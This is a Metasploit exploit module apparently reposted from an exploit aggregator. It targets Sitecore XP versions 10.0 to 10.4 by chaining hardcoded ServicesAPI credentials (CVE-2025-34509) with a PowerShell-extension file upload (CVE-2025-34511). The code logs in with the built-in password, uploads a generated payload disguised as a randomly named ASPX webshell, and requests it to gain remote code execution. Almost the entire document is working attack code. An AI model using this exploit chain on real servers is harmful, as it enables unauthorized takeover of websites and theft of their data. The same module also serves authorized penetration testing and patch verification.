Share
## https://sploitus.com/exploit?id=PACKETSTORM:209455
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HTTP::SitecoreXp
      include Msf::Exploit::CmdStager
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Sitecore XP CVE-2025-34511 Post-Authentication File Upload',
            'Description' => %q{
              This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
            },
            'License' => MSF_LICENSE,
    
            'Author' => [
              'Piotr Bazydlo', # Discovery
              'msutovsky-r7' # Module Creator
            ],
            'References' => [
              [ 'CVE', '2025-34511' ],
              ['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
              ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
            ],
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Windows',
                {
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'DisclosureDate' => '2025-06-17',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
        ])
      end
    
      def check
        return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')
    
        @is_logged = true
    
        return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies
    
        @is_elevated = true
    
        sitecore_version = get_version
    
        res = send_request_cgi({
          'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
          'method' => 'GET',
          'vars_get' => { 'hdl' => '1245516121' }
        })
    
        return Exploit::CheckCode::Safe('PowerShell extension not detected, might not be installed in target Sitecore instance') unless res&.code == 200
    
        return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
    
        Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
      end
    
      def upload_webshell
        @webshell = "#{Rex::Text.rand_text_alpha(15)}.aspx"
        @item_uri = Rex::Text.rand_text_alpha(8)
        exe = generate_payload_exe
        asp = Msf::Util::EXE.to_exe_aspx(exe)
    
        data_post = Rex::MIME::Message.new
        data_post.add_part(@item_uri, nil, nil, %(form-data; name="ItemUri"))
        data_post.add_part('en', nil, nil, %(form-data; name="LanguageName"))
        data_post.add_part('0', nil, nil, %(form-data; name="Overwrite"))
        data_post.add_part('0', nil, nil, %(form-data; name="Unpack"))
        data_post.add_part('en', nil, nil, %(form-data; name="Versioned"))
        data_post.add_part(asp, 'text/plain', nil, %(form-data; name="#{@item_uri}"; filename="#{@webshell}"))
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
          'vars_get' => { 'hdl' => '1245516121' },
          'data' => data_post.to_s,
          'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
        })
    
        return false unless res&.code == 200
    
        true
      end
    
      def trigger_webshell
        send_request_cgi({
          'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', @item_uri, @webshell),
          'method' => 'GET'
        })
      end
    
      def exploit
        if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
          fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
        end
    
        if !@is_elevated && !get_identity_cookies
          fail_with(Failure::Unknown, 'Failed to get elevated cookies')
        end
    
        fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless upload_webshell
    
        trigger_webshell
      end
    end